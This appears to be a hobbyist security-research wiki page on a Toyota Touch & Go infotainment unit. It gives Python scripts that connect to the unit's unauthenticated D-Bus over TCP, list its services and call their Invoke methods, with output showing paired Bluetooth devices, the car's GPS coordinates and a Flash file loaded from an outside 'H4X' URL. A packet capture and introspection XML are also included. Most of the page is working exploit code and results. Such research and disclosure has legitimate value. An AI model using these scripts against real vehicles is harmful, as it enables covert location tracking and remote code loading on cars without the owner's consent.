Introspection

We created simple dbus-scanner:

   1 import sys
   2 import dbus
   3 
   4 def main():
   5     name = "org.freedesktop.DBus"
   6     bus = dbus.bus.BusConnection("tcp:host=192.168.2.4,port=6667")
   7     p = bus.get_object(name, "/" + name.replace(".", "/"))
   8     i = dbus.Interface(p, dbus_interface=name)
   9 
  10     for s in i.ListNames():
  11         print
  12         if str(s).find(":") != -1:
  13             print "skipped %s." % s
  14             continue
  15         if str(s).find("-") != -1:
  16             print "skipped %s." % s
  17             continue
  18         else:
  19             scan(str(s))
  20 
  21 def scan(name):
  22     print "= %s =" % name
  23     bus = dbus.bus.BusConnection("tcp:host=192.168.2.4,port=6667")
  24     p = bus.get_object(name, "/" + name.replace(".", "/"))
  25     i = dbus.Interface(p, dbus_interface="org.freedesktop.DBus")
  26 
  27     print "== functions =="
  28     try:
  29         print p.Introspect()
  30     except:
  31         print "Introspect() failed."
  32 
  33     print "== objects =="
  34     try:
  35         for s in i.ListNames():
  36             print s
  37     except:
  38         print "ListNames() failed."
  39 
  40     print "== properties =="
  41     i = dbus.Interface(p, dbus_interface="org.freedesktop.DBus.Properties")
  42     try:
  43         results = i.GetAll()
  44         for s in results: 
  45             print s
  46     except:
  47         print "GetAll() failed."
  48 
  49 if __name__ == "__main__":
  50     main()

Which provided following results: /Scan

Calling functions

It seems that there is Invoke-method in almost every service and that one is used to call lua/c-functions that take json-paramters and return json-parameters.

   1 import sys
   2 import dbus
   3 
   4 def main(service, method, args):
   5     bus = dbus.bus.BusConnection("tcp:host=192.168.2.3,port=6667")
   6     p = bus.get_object(service, "/" + service.replace(".", "/"))
   7     i = dbus.Interface(p, dbus_interface="com.harman.ServiceIpc")
   8     print "calling %s(%s)" % (method, args)
   9     print i.Invoke(method, args)
  10 
  11 if __name__ == "__main__":
  12     main(*sys.argv[1:])

Using that we were able to:

Get list of paired Bluetooth devices

machine% python toyota.py com.harman.service.BluetoothService getPairedDeviceList ''
{"pairedDeviceList":[{"serviceSearchList":[{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"HFPGW","priority":1,"connected":true},{"service":"HSPGW","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":true},{"service":"AVRCP","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"PAN_GN","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"cn0011","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":2,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"DID","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"ZTE-BLADE","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":3,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"FTP","priority":0,"connected":false},{"service":"DUNGW","priority":0,"connected":false},{"service":"0000-1201-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"SyncMLClient","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SAP","priority":0,"connected":false},{"service":"0000-1204-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false},{"service":"FBUS_RFCOMM","priority":0,"connected":false}],"name":"Nokia X3-02","address":"xx:xx:xx:xx:xx:xx"}],"description":"success","code":0}

Get car GPS-position:

machine% python toyota-cmd.py com.harman.service.Navigation MAP_PositionInfo ''
calling MAP_PositionInfo()
{"lat":65.06096196174622,"lon":25.44586372375488,"posInfo":null}

Load any flash (swf) application from Internet:

machine% python toyota-cmd.py com.harman.service.HMIService loadExternalSWF '{ "path":"http://www.sieni.us/H4X/29.swf" }'
calling loadExternalSWF({ "path":"http://www.sieni.us/H4X/29.swf" })
{"result":true}

Old

DBUS_SESSION_BUS_ADDRESS=tcp:host=192.168.2.4,port=6667 dbus-send --print-reply --dest=foo foo org.mydomain.Interface.Method
process 34445: arguments to dbus_message_new_method_call() were incorrect, assertion "_dbus_check_is_valid_path (path)" failed in file dbus-message.c line 1204.
This is normally a bug in some application using the D-Bus library.
  D-Bus not built with -rdynamic so unable to print a backtrace
Abort trap: 6

grepping com.harman.service

usr/share/scripts/nav-activation/nav-activation.lua:local g_navBusName       = "com.harman.service.Navigation"
usr/share/scripts/nav-activation/nav-activation.lua:local g_navSyncBusName   = "com.harman.service.NavigationUpdate"
usr/share/scripts/nav-activation/nav-activation.lua:local g_InstallerBusName = "com.harman.service.SoftwareInstallerExternal"
usr/share/scripts/nav-activation/nav-activation.lua:local g_HMIBusName       = "com.harman.service.HMIService"
usr/share/scripts/nav-activation/nav-activation.lua:local g_TMBusName        = "com.harman.service.ToyotaMGR"

usr/share/scripts/app-install/eu-app-install.lua:local g_InstallServiceName = "com.harman.service.SoftwareInstaller"
usr/share/scripts/app-install/us-app-install.lua:local g_InstallServiceName = "com.harman.service.SoftwareInstallerExternal"
usr/share/scripts/app-install/us-app-install.lua:local g_TMBusName          = "com.harman.service.ToyotaMGR"
usr/share/scripts/app-install/us-app-install.lua:local g_HMIBusName         = "com.harman.service.HMIService"

11:14:36.438392 IP 192.168.2.3.63280 > 192.168.2.4.6667: Flags [P.], seq 3741:38        85, ack 5448, win 8192, options [nop,nop,TS val 1209668591 ecr 976], len        gth 144
E.....@.@............0......l..... .)......
H.......l...........{.....o...../com/harman/service/ToyotaMGR.....s.....:1.11...        ..s.#...org.freedesktop.DBus.Introspectable.......s.
...Introspect......
11:14:36.501990 IP 192.168.2.4.6667 > 192.168.2.3.63280: Flags [P.], seq 5448:62        76, ack 3885, win 33580, options [nop,nop,TS val 976 ecr 1209668591], le        ngth 828
E..p..@.@..............0l......M...,.......
....H...l.......p.........s.....:1.73.....u.......g..s....s.....:1.11.......<!DO        CTYPE node PUBLIC "-//freedesktop//DTD D-BUS Object Introspection 1.0//E        N"
"http://www.freedesktop.org/standards/dbus/1.0/introspect.dtd">
<node name="/com/harman/service/ToyotaMGR">
   <interface name="com.harman.ServiceIpc">
      <method name="Invoke">
         <arg name="method" type="s" direction="in"/>
         <arg name="parameters" type="s" direction="in"/>
         <arg name="result" type="s" direction="out"/>
      </method>
      <signal name="Emit">
         <arg name="name" type="s"/>
         <arg name="data" type="s"/>
      </signal>
   </interface>
   <interface name="org.freedesktop.DBus.Introspectable">
      <method name="Introspect">
         <arg direction="out" type="s" name="data"/>
      </method>
   </interface>
</node>.

Normal Sort Sort + uniq Sort + uniq + count

Linked in pages
Toyota Touch & Go